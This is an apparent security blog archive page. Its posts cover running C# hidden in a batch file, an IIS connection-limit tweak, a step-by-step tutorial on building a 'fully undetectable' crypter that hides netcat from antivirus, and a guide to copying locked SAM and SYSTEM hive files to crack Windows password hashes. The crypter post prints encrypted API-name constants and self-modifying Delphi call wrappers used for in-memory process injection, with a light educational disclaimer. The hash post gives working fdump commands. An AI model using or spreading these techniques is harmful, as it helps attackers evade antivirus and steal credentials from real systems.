IT Security Lab The Playground for IT Security Specialists and Pentesters

14Dec/102

Smuggling .NET code inside batch files. Impossible? Who said that?

This will be rather a quick one. :-) Just check this out:

Create a batch (.bat) file with the following content and execute!:

/*
@echo off && cls
set WinDirNet=%WinDir%\Microsoft.NET\Framework
IF EXIST "%WinDirNet%\v2.0.50727\csc.exe" set csc="%WinDirNet%\v2.0.50727\csc.exe"
IF EXIST "%WinDirNet%\v3.5\csc.exe" set csc="%WinDirNet%\v3.5\csc.exe"
IF EXIST "%WinDirNet%\v4.0.30319\csc.exe" set csc="%WinDirNet%\v4.0.30319\csc.exe"
%csc% /nologo /out:"%~0.exe" %0
"%~0.exe"
del "%~0.exe"
exit
*/

class HelloWorld
{
static void Main()
{
System.Console.WriteLine("Greetings from IT Security Lab!");
System.Console.WriteLine("-------------------------------");
System.Console.WriteLine("RTM: " + System.Environment.Version);
System.Console.WriteLine("User: " + System.Environment.UserName);
System.Console.WriteLine("Machine name: " + System.Environment.MachineName);
System.Console.WriteLine("OS version: " + System.Environment.OSVersion);
System.Console.WriteLine("Stack trace: " + System.Environment.StackTrace);
System.Console.ReadLine();
}
}

I was absolutely amazed. The implications for security are... well... pretty complex. You are clever boys and girls, so you already know what can be done with it, right...

Found here: http://forum.antichat.ru/

17Sep/100

IIS 5.x allows 10 connections only? Says who? I see no limits!… ;-)

Everything new is actually well-forgotten old, that's what I think. Recently I had a desperate need to configure IIS 5.1 in our testing environment because of a pretty annoying error message:

HTTP 403.9 - Access Forbidden: Too many users are connected

The reason was quite simple: IIS 5.x by default has a number of connections limited to 10. Our lovely Micro$oft for sure would be happy if we would spend couple of additional quid and buy e.g. Server 2003 instead of good-old XP (if we really need unlimited connections so much). And this is a total rip-off in the middle of the day, right. And we don't like it VERY much. So... Always there is a solution, isn't it. ;-) And what is interesting: pretty legitimate in this case. So sorry for disappointing: we will not be hacking IIS today. No hardcore stuff like cracking, DLL injections, or binary files, etc. Everything is much much simpler.

For sure it was published somewhere before, but I still think this information may be useful for you.

Ok, so here is what you have to do if you want to enable unlimited number of connections for your IIS:

1. Go here [http://support.microsoft.com/...] and download Plugin MetaEdit and install it. Note: do not overwrite the new versions of DLLs with the old ones (you will be asked about it during the installation).

2. Go to: Control Panel --> Administrative Tools --> MetaEdit

3. Run MetaEdit (looks like RegEdit, isn't it?), go to the key LM/W3WSVC/MaxConnections and change the value from 10 to -1 (or 100000 if you feel better).

That's all folks! By the way, the MetaEdit is a very powerful tool which gives you full control over your IIS, so I strongly recommend you to play with it. But considering that it's Friday and the weather is (still) nice - maybe you'd better go out and take some fresh air. :)

IIS 5.1 connection limit
3Sep/1010

Writing Crypter. Bypassing Antivirus – “how-to” For Beginners.

Ok my dear IT-boys, accompanied with naughty IT-girls: this is the long-promised article about how to bypass the antivirus protection. I hope you already after the previous article: Self-modifying code - short overview for beginners, so you know this-and-that about pointers, windows API, breaks, debugging, etc.

Now we gonna try to create something interesting by ourselves. We will create a fully working crypter: a program which allows to run any third-party (and potentially malicious) code the way it will not be detected by antivirus program. We are ambitious beasts, so we will "raise a bar" and try to create FUD Crypter (stands for: Fully Undetectable). :-) Still don't get it? See this video to have a taste of what this story will be about:

Before we will go further - one small reminder:

Information in this article is prepared for better understanding of malware mechanisms, developing hacker defense attitude among the users and help preventing the hacking attacks. You may experiment on your own computer ONLY, at your own risk and responsibility.

Ok, it seems you got it now. :-) Even more: you want to understand how you can do the same thing, right? But for the beginning we have to find out what is so important for the antiviruses? How they detect malware? What actually they are looking for?...

So you downloaded some warez.exe and double-clicked it. This is what happening next:

AV's Point of view

Phase one: before the malicious (or suspicious) program is executed

The first thing an antivirus is doing - it's checking if the program is packed. If it is packed - the appropriate unpacker should be used and the code and data should be expanded to memory and then disassembled. In a meantime our AV may also check and resolve an API imports so it would be known then: what API functions are used. I don't want to go deep into details what Portable Executable (or PE) format is, but generally - compiled code is copied to memory almost one-to-one as it is in the binary file. So our antivirus is looking there for a opcodes of certain API calls, speciall data strings (like: "P0wNeD by WiLd HakCer" or famous: "All your base is belong to us") and many other interesting things. Generally antivirus software is looking for a certain suspicious-looking binary code patterns or so-called "signatures". If such thing is found (a pattern or combination of patterns): our antivirus is immediately popping-up a nice red-colored window, (featuring a pride of GUI team: bug.jpg) with information that "malicious code was successfully stopped".

Phase two: while the program is running

It is obvious that some (malicious) code may be hidden, encrypted, obfuscated or even created "on-the-fly". To be able to deal with such tricks our antivirus is also capable to monitor and intercept API calls (uses hooks) and does a kind of "behavioral analysis". So if your notepad.exe for some strange reason is trying to do some "naughty" things (e.g. access memory of another process) - this means well... "something is fishy" and our famous red-colored window appears on a horizon again.

The project

This is actually a proof of concept: how surprisingly easy you may create a code which will be able to bypass antivirus protection. Our "guinea pig" will be the well-known Netcat for windows (...so the cat becomes pig...). ;-) This program is good enough because it is happily detected by many antiviruses as a malware (and this is exactly what we need now).

You already know that I have no passion for reinventing a wheel, so I used one of existing projects as a template (btw, you may find hundreds of them in Internet). The original code is actually an n-th clone of Simple crypter for beginner by Xash, naturally in Delphi. Using this Crypter "as it is" nowadays is pointless because the code is old and whatever it does - is immediately detected by all modern antiviruses. The original idea however is nice and elegant. This is how it works:

You point the Crypter to your malicious software (netcat: netcat.exe) and run. The Crypter produces another executable: let's call it nc_crypted.exe.  This is the structure of this file:


So the netcat is placed in the "tale" of our binary, located in between two markers. Markers are needed, because the length of the decryption routine (so called: stub) may vary and the length of the payload (in our case: netcat.exe) can be variable too. The payload may be copied as it is (which is stupid of course, because would contain dozen of signatures detected by antiviruses) or encrypted (e.g.: XOR'ed).

Now real cool stuff begins. Once you click netcat_crypted.exe, it is loaded to the computer's memory and executed. Then it creates all structures needed to run the brand new (malicious) process directly in memory. The new process is created in "suspended" state. Now our stub decrypts the netcat code, takes it as an array of bytes and fills appropriate structures prepared for the new process. By this way, the new malicious code appears in computer's memory in fully legitimate way in a kind of "frozen" condition. This can be done with or without touching the hard drive which may make detection even more difficult. Once everything is ready - it's enough to call the process and our netcat is executed!

Everything is sweet, but there is a big problem: the loader (stub) produced by the original Crypter is already "well-known" to antiviruses. :-( So we must do some modifications in the code to make the binary significantly different from the original. What people are doing often (with minimal success):

  • Adding junk code for modifying execution flows.
  • Changing or encrypting strings.
  • Changing variable names.
  • Changing the order of all code aspects.
  • Adding or changing icon.

But be are tough guys, right :-) So we will try to do something even more advanced:

  • We will encrypt all string variables and also the payload with industry standard data encryption algorithm (so forget about lousy XOR).
  • We will obfuscate all "suspicious" API function calls.
  • We will make the length of all elements of the "tail" fully variable, hence unpredictable.
  • We will clean-up the final binary from all unnecessary strings and hidden resources which potentially may be treated by antiviruses as signatures.

Look at the structure of netcat_crypted.exe now:

Our final netcat_crypted.exe is slightly more complicated now, isn't it. We will be using Serpent symmetric key block cipher algorithm for data encryption. Delimiters will be random, and with various length.

We already know about runtime API address resolution from the previous article, - this knowledge will be needed in our case. API function names are acting as virus signatures (in certain combination), because they are plain strings. So we definitely need to hide them. To obfuscate API function names there was additional program written, called StringsEncoder, which can be downloaded from [here]. This is an example of processing a one string constant only (CreateProcessA):

The program of course allows automatically creating Delphi unit with all strings needed for further API resolution. Something like this:

unit untStealthLibEncryptedConstants;

interface
const
stealth_api_key = 'FFFFFF';

//--- ntdll.dll
stealth_api_ntdll_dll = #151#162#78#47#246#220#236#211#180;

//--- kernel32.dll
stealth_api_kernel32_dll = #146#179#88#45#255#158#187#141#246#218#85#47;

//--- ResumeThread
stealth_api_ResumeThread = #171#179#89#54#247#151#220#215#170#219#88#39;

//--- SetThreadContext
stealth_api_SetThreadContext = #160#35#175#108#116#81#2#117#36#1#253#77#22#184#249#213;

//--- GetThreadContext
stealth_api_GetThreadContext = #74#15#91#48#30#10#90#169#42#88#179#175#66#122#117#27;

//--- ZwUnmapViewOfSection
stealth_api_ZwUnmapViewOfSection = #44#131#64#41#12#11#153#183#42#190#96#210#201#242#28#239#119#183#72#23;

//--- VirtualProtectEx
stealth_api_VirtualProtectEx = #48#159#184#128#253#89#90#127#8#170#190#50#247#131#160#5;

//--- WriteProcessMemory
stealth_api_WriteProcessMemory = #45#223#165#0#74#26#118#180#87#250#141#13#184#78#61#86#3#145;

//--- ReadProcessMemory
stealth_api_ReadProcessMemory = #238#114#76#133#179#99#51#10#144#167#177#46#40#177#109#225#87;

//--- CreateProcessA
stealth_api_CreateProcessA = #186#164#79#34#238#151#216#205#183#221#92#48#237#58;

//--- CreateProcessInternalA
stealth_api_CreateProcessInternalA = #105#137#69#61#231#85#214#72#52#80#38#81#37#7#230#72#40#30#57#152#146#21;

implementation
end.

So our antivirus has no chance when will be searching for strings like "WriteProcessMemory" or "CreateProcessA". If only a key you would use for your build will be different: no chance for detection.

Ok, we already know that antiviruses are extremely sensitive when certain API functions are called (see the list above). And we must be able to call them to do our dirty stuff. So what can we do? The trick was explained well-enough in the previous lesson: you have to use the undocumented API functions. Those functions are very often just "wrapped" to a well-documented documented functions later.

And of course we will be creating code for all API function calls at runtime (as opcodes) - again see my previous lesson for details. Example from Delphi unit untStealthAPI:

//----------------------------------------stealth WIN API function: ResumeThread (SELF-MODIFYING)
function v_ResumeThread(hThread: cardinal): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
begin
CreateAPIFunctionTemplate(c, 1); //--- nr of parameters = 1

WriteDwordAddress(hThread, c, 2); //--- directly copy the VALUE of the "hThread"
WriteCalculatedFunctionAddress(@c,
c,
6, //--- this points to E8 (where CALL starts!!!)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_ResumeThread, stealth_api_key)), //--- ResumeThread
5); //--- CALL procedure length (in bytes) = 5

@dummyFunc := @c; //--- point inline dummy function to our byte array
v_VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //--- execute our function

asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);
end;

or another function:

//------------------------------------stealth WIN API function: VirtualProtectEx (SELF-MODIFYING)
function v_VirtualProtectEx(hProcess: THandle;
                             lpAddress: Pointer;
                             dwSize,
                             flNewProtect: DWORD;
                             lpflOldProtect: Pointer): boolean;
var c: TByteArray;
    fResult: dword;
    oldProtect: DWORD;
    dummyFunc: function: Integer; //--- dummy function
begin
   CreateAPIFunctionTemplate(c, 5); //--- nr of parameters = 2

   WriteDwordAddress(dword(@lpflOldProtect), c, 2); //--- directly copy the VALUE of the "lpflOldProtect" (4 bytes)
   WriteDwordAddress(flNewProtect, c, 7); //--- directly copy the VALUE of the "flNewProtect" (4 bytes)
   WriteDwordAddress(dwSize, c, 12); //--- directly copy the VALUE of the "dwSize" (4 bytes)
   WriteDwordAddress(dword(@lpAddress), c, 17); //--- directly copy the VALUE of the "lpAddress" (4 bytes)
   WriteDwordAddress(hProcess, c, 22); //--- directly copy the VALUE of the "hproces" (4 bytes)

   WriteCalculatedFunctionAddress(@c,
                                  c,
                                  26, //--- this points to E8 (where CALL starts)
                                  GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
                                                  DecryptStringToString(stealth_api_VirtualProtectEx, stealth_api_key)), //--- VirtualProtectEx
                                  5); //--- CALL procedure length (in bytes)

   @dummyFunc := @c; //--- point inline function to our byte array
   VirtualProtect(@dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
   dummyFunc; //execute our function

   asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
   result := boolean(fResult);
end;

Ok, so everything is combined together, and new shiny Crypter is built. Finally we have to use excellent third-party program Resource Hacker to remove various unneeded data (resources) from our executable. We may create a batch file of this kind:

@echo on
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", StringTable,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,DVCLAL,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Cursor,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Bitmap,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Dialog,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", CursorGroup,,

Now the Al3ksCrypter is born! :-) You can take the [binary and the source code here].

The application is very simple but has some additional features:

  • Stub may be optionally compressed by UPX.
  • Payload may be ran as minimized.
  • Additional command line parameters may be provided. Your payload will be automatically executed with them (e.g.: port number and optional parameters for netcat listener).

You already being seeing the film how the tool works, now I just would show the final screen (here is [direct link to report]):

Conclusion

Think twice when you click on any file from untrusted source and for god's sake: DO NOT RELY on your antivirus. :)

P.S.: I would appreciate your feedback, so don't hesitate to contact me with your comments and also if you want to add something to the article. Note that this is easy article, so we are not going deep into details in purpose.

2Sep/100

Right ATM for Curious IT Guys

I am always saying: trust is a basis of any business, chaps. And especially in a such serious business as banking. But if banks may (or should?) blindly trust all IT guys (which have their natural childish "curiosity of everything") - this question was never such serious as after this year's Blackhat conference. Close your eyes and try to imagine: vacation, you, ATM, laptop and a screwdriver... And nobody around! Ach dreams, dreams... ;)

But sometimes crazy-weirdo-bank-guys (yes, that's the right word) are really provoking kinda "dirty IT thoughts". A friend of mine, Jerome666, recently send me the picture made during his recent vacation in Egypt. I was almost crying, and through the tears of happiness I was barely able to see the ATM, UPS (?), modem, some strange device (?) and even the juniper firewall. All infrastructure nicely and peacefully coexisting together. It's so nice, so... innocent and... so darn close - just raise your hand! :) Ok, let's cut the crap: see it's by yourself:

I'll buy you a beer (or two) if you would send me cool pics of ATMs, similar to the one above. And additional beer for the one who would correctly identify all infrastructure on the picture! :)

23Jul/100

Password Hashes Without FGDump

Well, you can be quite frustrated when beloved FGdump just does not work without particular reason. Password hashes are so close, but yet not achievable. But it seems there is a kind of remedy (or call it: “alternative way”) for getting the password hashes. Here is the story.

All right, we know that password hashes are stored in the registry, in the key HKLM\Security\Sam. Normally you must have administrator privileges to access it. Even you are the local admin – you still have to assign manually full control permission for this subkey to yourself. Then you may see something like this:

The juicy stuff physically is stored in two files:
C:\windows\system32\config\sam
and
C:\windows\system32\config\system

So theoretically if we would be able to get the content of those files we may pass it to Cain and play a little with it… But unfortunately those files are locked, so they can’t be copied or accesses by any way. If you will try, you will immediately have a nice error like this:

So it looks like no chance. Well, note quite. There is an interesting approach called “Dumping File Sectors Directly from Disk using Logical Offsets”, which surprisingly allow you to copy files which are locked and currently used. There is nice tool called FDump which allows you to do this. More details here: http://www.codeproject.com/KB/files/FDump.aspx
If you don’t want to go to deep into the theory (which is recommended btw), - here is the practical solution.

The target:

We must have own separate copies of both files: C:\windows\system32\config\sam and C:\windows\system32\config\system in target system (the second one is needed because of the “boot key” is stored there) so then we may process it somewhere else with Cain & Abel.

Step 1:

Run the fdump.exe with the following parameters:

fdump.exe "C:\WINDOWS\system32\config\SAM" sam.dat
fdump.exe "C:\WINDOWS\system32\config\system" system.dat

Expected result:

Step 2:

Run cain.exe and do the following thing: Select “Cracker”, then “Add to list” and then “Import hashes from Sam database”.

Then:

So after all manipulations it should looks more or less like this:

Then click “Next”, and here we are!

The rest is up to you. Now you probably need a good rainbow tables and a bit of luck. :-)

Afterword:

You may be tempted to explore the copied registry manually and see what else is there (your curiosity is more then normal), so here is the quick "how to" browse downloaded registry files with regedit:

Open regedit, and make single click on HKLM branch (important!):

Then in the main menu select “File” and “Load Hive”, then select our file: C:\myfiles\sam

...and finally provide a key name. This is the key where a new hive will be attached to.

Do not forget to assign proper permissions to this branch:

Close the regedit and open it again. Now you can browse everything! :)